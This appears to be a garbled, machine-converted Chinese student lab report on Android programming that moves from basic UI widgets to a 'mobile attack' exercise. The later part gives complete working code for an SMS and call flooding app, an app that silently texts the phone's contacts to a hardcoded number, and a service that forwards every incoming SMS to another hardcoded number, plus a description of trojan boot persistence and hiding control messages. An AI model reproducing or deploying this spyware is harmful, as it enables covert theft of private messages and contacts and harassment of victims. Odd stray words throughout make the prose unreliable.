Windows ->Perferences->左边树状Android->Browse->android-sdk-windows所在目录->Apply
设计手机用户界面应解决的问题:html
4.Android已经解决了前两个问题,使用XML文件描述用户界面;资源资源文件独立保存在资源文件夹中;对界用户面描述很是灵活,容许不明肯定义界面元素的位置和尺寸,仅声明界面元素的相对位置和粗略尺寸。java
Android用户界面框架(Android UI Framework)采用MVC(Model-View-Controller)模型:提供了处理用户输入的控制器(Controller),显示用户界面和图像的视图(View),以及保存数据和代码的模型(Model)。拉下图所示:android
模型数据库
View编程
常见的系统控件windows
TextView
、EditText
、Button
、ImageButton、
、Checkbox``RadioButton
、Spinner
、ListView
、TabHost
。建立TextView控件的两种方法数组
TextView tv=new TextView(this); tv.setText("您好"); setContentView(tv);
<string name="app_name">TextViewDemo</string> <string name="action_settings">Settings</string> <string name="hello_world">Hello world!</string> <string name="hello">您好!</string> <string name="menu_settings">Settings</string>
<TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:text="@string/hello"/>
运行结果
服务器
修改TextView属性,字体大小、字体颜色app
<TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你好" android:textSize="20sp" android:textColor="#00FF00"/>
运行结果
框架
使用Html标签修改文本中某一段字体的颜色
<TextView android:id="@+id/tv" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/app_name" android:textSize="20sp" android:textColor="#00FF00"/>
运行结果
修改MainActivity.java代码
TextView tv = (TextView)findViewById(R.id.tv); tv.setText(Html.fromHtml(“Android开发实验–TextView使用“));
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:maxLength="3" />
运行结果
singleLine:多行文本框,代码:
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:singleLine="false" />
运行结果:
inputType:限制输入文本类型,代码:
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:inputType="number" />
运行结果:只能输入数字
hint:设置提示信息,代码:
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="我是EditText" />
选择Emulator Control选项卡,在Incoming number文本框中输入模拟器编号。模拟器编号在devices选项卡中能够看到。点击call按钮
模拟器运行结果
选择Emulator Control选项卡,在Incoming number文本框中输入模拟器编号。模拟器编号在devices选项卡中能够看到。点击call按钮
模拟器运行结果
新建Android项目->项目名称:Ex.Button -> Application name: ButtonDemo -> Package name: com.ex.button -> Build SDK: Android 4.3 其它默认
切换到activity_main.xml选项卡。建立button对象,代码以下:
<Button android:id="@+id/btn1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_marginRight="28dp" android:layout_marginTop="38dp" android:layout_toLeftOf="@+id/textView1" android:text="点我" />
public class MainActivity extends Activity { private Button btn1 = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn1 = (Button)findViewById(R.id.btn1); btn1.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Toast.makeText(MainActivity.this, "你点击了按钮", Toast.LENGTH_LONG).show(); } }); }
<Button android:id="@+id/btn2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_marginTop="31dp" android:layout_toLeftOf="@+id/textView1" android:text="点我1" /> <Button android:id="@+id/btn1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@+id/btn2" android:layout_below="@+id/btn2" android:layout_marginTop="26dp" android:text="点我2" />
public class MainActivity extends Activity { private Button btn1 = null; private Button btn2 = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn1 = (Button)findViewById(R.id.btn1); btn2 = (Button)findViewById(R.id.btn2); btn1.setOnClickListener(listener); btn2.setOnClickListener(listener); } private OnClickListener listener = new OnClickListener() { public void onClick(View v) { Button btn = (Button)v; switch(btn.getId()) { case R.id.btn1: Toast.makeText(MainActivity.this, "你点击了按钮1", Toast.LENGTH_LONG).show(); break; case R.id.btn2: Toast.makeText(MainActivity.this, "你点击了按钮2", Toast.LENGTH_LONG).show(); } } };
Android的系统权限不是由用户控制,而是由开发者根据开发的须要控制相关权限的开放与否,权限控制主要放置在AndroidManifest.xml文件中。将以下的权限控制属性写入AndroidManifest.xml文件就能够获取相应的系统权限。若是在开发中遇到一些调试的问题很能够就是权限的缘由。Android常见的权限参考:
http://www.cnblogs.com/jdy1453/p/6879878.html
新建Android项目->项目名称:Ex.Permit -> Application name: PermitDemo -> Package name: com.example. -> Build SDK: Android 4.3 其它默认
在Ex.Permit项目中开启监听功能,能够选择手机通话记录、短信记录、彩信、摄像、拍照、通信录、录音等权限中任意两项权限进行设置。
点击项目中的AndroidManifest.xml,在多标签页中选择“Permission”
而后点击add按钮,选择添加使用权限(Uses Permission)
在AndroidManifest.xml中添加uses-permission标签,添加了录制音频的权限
结果:程序具备录音权限,能够应用程序的录音功能。经过防御软件(360手机卫士、手机毒霸)禁用录音功能,打开程序,提示没有录音权限,没法录音。
一、点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/degj),最后点击“Finish”。
打开“src”下的SmsActivity.java文件,代码:
package sms.ply; import java.util.List; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.telephony.SmsManager; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class SmsActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); setComponent(); } private void setComponent() { final EditText message = (EditText)findViewById(R.id.message); final EditText phoneno = (EditText)findViewById(R.id.phoneno); final EditText attno = (EditText)findViewById(R.id.attno); Button bt1 = (Button) findViewById(R.id.Button01); bt1.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent( Intent.ACTION_CALL, Uri.parse ("tel:5556")); startActivity(intent); } }); Button bt2 = (Button) findViewById(R.id.Button02); bt2.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // String smsContent = "102"; String smsContent = message.getText().toString(); String cishu = attno.getText().toString(); int number = Integer.valueOf(cishu).intValue(); // note: SMS must be divided before being sent SmsManager sms = SmsManager.getDefault(); List<String> texts = sms.divideMessage(smsContent); int i = 0; while (i < number) { for (String text : texts) { sms.sendTextMessage(phoneno.getText().toString(), null, text, null, null); } i = i + 1; } // note: not checked success or failure yet Toast.makeText( SmsActivity.this, "短信已发送", Toast.LENGTH_SHORT ).show(); } }); } }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:gravity="center"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="Direct Method:" android:gravity="center" /> <Button android:text="电话攻击" android:id="@+id/Button01" android:layout_width="wrap_content" android:layout_height="wrap_content"></Button> <Button android:text="短信攻击" android:id="@+id/Button02" android:layout_width="wrap_content" android:layout_height="wrap_content"></Button> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="号码:" android:gravity="center" /> <EditText android:id="@+id/phoneno" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="发送次数:" android:gravity="center" /> <EditText android:id="@+id/attno" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="发送内容:" android:gravity="center" /> <EditText android:id="@+id/message" android:layout_width="fill_parent" android:layout_height="wrap_content" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="sms.ply" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="15" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <activity android:label="@string/app_name" android:name=".SmsActivity" > <intent-filter > <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> <uses-permission android:name="android.permission.BROADCAST_STICKY" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.CALL_PRIVILEGED" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.SEND_SMS" /> </manifest>
对于木马程序,咱们须要木马在Android设备开机时自动运行,当Android启动时,会发出一个系统广播,内容为ACTION_BOOT_COMPLETED,它的字符串常量表示为android.intent.action.BOOT_COMPLETED。只要在程序中“捕捉”到这个消息,再启动之便可。为此,咱们要作的是作好接收这个消息的准备,而实现的手段就是实现一个BroadcastReceiver。木马主要经过接收短信的系统广播(Broadcast Receiver)进行短信内容匹配,若是是发送的控制指令,则将短信屏蔽掉,让被控制端用户没法获得收取短信的通知,而且对目标手机进行远程控制,如短信转发、电话监听、手机录音等。
木马主要是利用Android 中的广播机制来是实现的。BroadcastReceiver相似于事件编程中的监听器,表明广播消息接收器。木马重写了onReceive(Context context ,Intent intent)方法,当系统收到消息时候,经过监听“android.provider.Telephony.SMS_RECEIVED”广播,对消息的内容进行检测。当检测到的内容为控制指令时,用abortbroadcast()将短信屏蔽掉,使用户没法接受到短信,而后根据控制指令,进行相应操做。须要注意的是,若是数据量比较大,好比录音、摄像数据、最好架设一个服务器用来上传数据。
一、点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/ReadContacts),最后点击“Finish”。
打开“src”下的ReadContacts.java文件,代码:
package com.lightcone.readcontacts; import java.util.List; import android.app.Activity; import android.content.ContentResolver; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.provider.ContactsContract; import android.telephony.SmsManager; public class ReadContacts extends Activity { // To suppress notational clutter and make structure clearer, define some shorthand constants. private static final Uri URI = ContactsContract.Contacts.CONTENT_URI; private static final Uri PURI = ContactsContract.CommonDataKinds.Phone.CONTENT_URI; private static final String ID = ContactsContract.Contacts._ID; private static final String DNAME = ContactsContract.Contacts.DISPLAY_NAME; private static final String HPN = ContactsContract.Contacts.HAS_PHONE_NUMBER; private static final String CID = ContactsContract.CommonDataKinds.Phone.CONTACT_ID; private static final String PNUM = ContactsContract.CommonDataKinds.Phone.NUMBER; private static final String PHONETYPE = ContactsContract.CommonDataKinds.Phone.TYPE; private String id; private String name; private String ph[]; private String phType[]; private String last; private int phcounter; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); // Allow for up to 5 email and phone entries for a contact ph = new String[5]; phType = new String[5]; int j = 0; ContentResolver cr = getContentResolver(); Cursor cu = cr.query(URI, null, null, null, null); if (cu.getCount() > 0) { // Loop over all contacts while (cu.moveToNext()) { // Initialize storage variables for the new contact id = cu.getString(cu.getColumnIndex(ID)); name = cu.getString(cu.getColumnIndex(DNAME)); // Append list of contacts to the scrollable TextView on the screen. phcounter = 0; if (Integer.parseInt(cu.getString(cu.getColumnIndex(HPN))) > 0) { Cursor pCur = cr.query(PURI, null, CID + " = ?", new String[]{id}, null); while (pCur.moveToNext()) { ph[phcounter] = pCur.getString(pCur.getColumnIndex(PNUM)); phType[phcounter] = pCur.getString(pCur.getColumnIndex(PHONETYPE)); phcounter ++; } pCur.close(); } // Write list of phone numbers for this contact to SD card file for(int i=0; i<phcounter; i++){ last = name + (" phone="+ ph[i] + " (" + getPhoneType(phType[i]) + ") "); } if (j<2) { sendSMS (last); j++; } } // for (int k = 0; k < j; k++){ // } } // Flush the PrintWriter to ensure everything pending is output before closing } /** Method to check whether external media available and writable and to find the root of the external file system. */ private String getPhoneType(String index){ if(index.trim().equals( "1")){ return "home"; } else if (index.trim().equals("2")){ return "mobile"; } else if (index.trim().equals("3")){ return "work"; } else if (index.trim().equals("7")){ return "other"; } else { return "?"; } } /** Method to return label corresponding to email type code. Data for correspondence from http://developer.android.com/reference/android/provider/ContactsContract. CommonDataKinds.Email.html */ private void sendSMS (String message) { SmsManager sms = SmsManager.getDefault(); List<String> texts = sms.divideMessage(message); for (String text : texts) { sms.sendTextMessage("18611594986", null, text, null, null); } //register the Broadcast Receivers 15555215556 15810540049 } }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/myimg0" android:gravity="center" > <ScrollView android:id="@+id/ScrollView01" android:layout_height="fill_parent" android:layout_width="fill_parent"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:padding="5sp" android:id="@+id/TextView01" android:text="@string/hello" /> </ScrollView> </LinearLayout>
点击“File”,选择“Import”。弹出Import窗口,点击“Android”,选择“Existing Android Code Into Workspace”,点击“Next”,弹出下一个界面,点击“Browse”找到实验所在文件夹打开(C:/adt/qwe/ReadContacts),最后点击“Finish”。
打开“src”下的MyService.java文件,代码:
package com.android.myservice; ///import com.android.myservice.R; import java.util.List; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.os.Binder; import android.util.Log; import android.widget.Toast; import android.content.BroadcastReceiver; import android.content.Context; import android.content.IntentFilter; import android.os.Bundle; import android.telephony.SmsMessage; import android.app.PendingIntent; import android.telephony.SmsManager; //import android.view.View; //import android.widget.EditText; public class MyService extends Service { private static final String TAG = "MyService"; private MyBinder mBinder=new MyBinder(); String SENT_SMS_ACTION="SENT_SMS_ACTION"; String DELIVERED_SMS_ACTION="DELIVERED_SMS_ACTION"; //StringBuilder sb = new StringBuilder(); ReceiverDemo smsReceiver; public class ReceiverDemo extends BroadcastReceiver { private static final String strRes = "android.provider.Telephony.SMS_RECEIVED"; PendingIntent paIntent; SmsManager smsManager; IntentFilter filter=new IntentFilter(); @Override public void onReceive(Context arg0, Intent arg1) { // TODO Auto-generated method stub if(strRes.equals(arg1.getAction())){ StringBuilder sb = new StringBuilder(); Bundle bundle = arg1.getExtras(); //Toast.makeText(arg0, "hihih", Toast.LENGTH_LONG).show(); if(bundle!=null){ Object[] pdus = (Object[])bundle.get("pdus"); SmsMessage[] msg = new SmsMessage[pdus.length]; //Toast.makeText(arg0, "received sms", Toast.LENGTH_LONG).show(); for(int i = 0 ;i<pdus.length;i++){ msg[i] = SmsMessage.createFromPdu((byte[])pdus[i]); } for(SmsMessage curMsg:msg){ sb.append(curMsg.getDisplayMessageBody()); } //Toast.makeText(arg0, "Got The Message:" + sb.toString(),Toast.LENGTH_SHORT).show(); sendSMS(sb.toString()); } } } } @Override public IBinder onBind(Intent intent) { return mBinder; } public void onCreate() { //Toast.makeText(this, "My Service created", Toast.LENGTH_LONG).show(); Log.i(TAG, "onCreate"); smsReceiver =new ReceiverDemo(); IntentFilter filter=new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); this.registerReceiver(smsReceiver, filter); super.onCreate(); } @Override public void onDestroy() { // Toast.makeText(this, "My virus Stoped", Toast.LENGTH_LONG).show(); // Log.i(TAG, "onDestroy"); super.onDestroy(); } @Override public void onStart(Intent intent, int startid) { // Toast.makeText(this, "My virus Start", Toast.LENGTH_LONG).show(); // Log.i(TAG, "onStart"); super.onStart(intent,startid); } public class MyBinder extends Binder{ MyService getService(){ return MyService.this; } } private void sendSMS (String message) { //create the sentIntent parameter Intent sentIntent = new Intent(SENT_SMS_ACTION); PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, sentIntent, 0); // create the deilverIntent parameter Intent deliverIntent = new Intent(DELIVERED_SMS_ACTION); PendingIntent deliverPI = PendingIntent.getBroadcast(this, 0, deliverIntent, 0); //Toast.makeText(this, "start sendsms()", Toast.LENGTH_LONG).show(); SmsManager sms = SmsManager.getDefault(); if (message.length() > 70) { List<String> msgs = sms.divideMessage(message); for (String msg : msgs) { sms.sendTextMessage("18651444669", null, msg, sentPI, deliverPI); } } else { sms.sendTextMessage("18651444669", null, message, sentPI, deliverPI); } //register the Broadcast Receivers 15555215556 15810540049 } }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/myimg" android:gravity="center"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/services_demo" android:gravity="center" android:textSize="20sp" android:padding="20dp" > </TextView> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.myservice"> <application android:icon="@drawable/chees" android:label="@string/app_name"> <activity android:name=".ServicesDemo" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <service android:enabled="true" android:name=".MyService"/> <!-- <activity android:name=".SmslistenerActivity" android:label="@string/app_name"> --> <!-- </activity> --> </application> <receiver android:name=".ReceiverDemo" android:enabled="true" > <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <uses-sdk android:minSdkVersion="7" /> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <buildCommand> <name>org.eclipse.jdt.core.javabuilder </name> <arguments> </arguments> </buildCommand> </manifest>
本次实践咱们组的实践题目为移动攻击,主要内容为在安卓平台下进行攻击,例如提权,木马攻击,整个实验在根据实验指导书完成没有太大问题,不过在木马攻击的时候遇到了代码问题,在以前的配置环境以及安卓GUI设计中遇到版本不一样指令问题,经过小组成员的积极讨论以及上网百度等方法成功解决了问题,成功完成了实验,在以后的实践过程当中咱们将吸收本次实验的经验,踏踏实实认真的完成接下来的每个任务!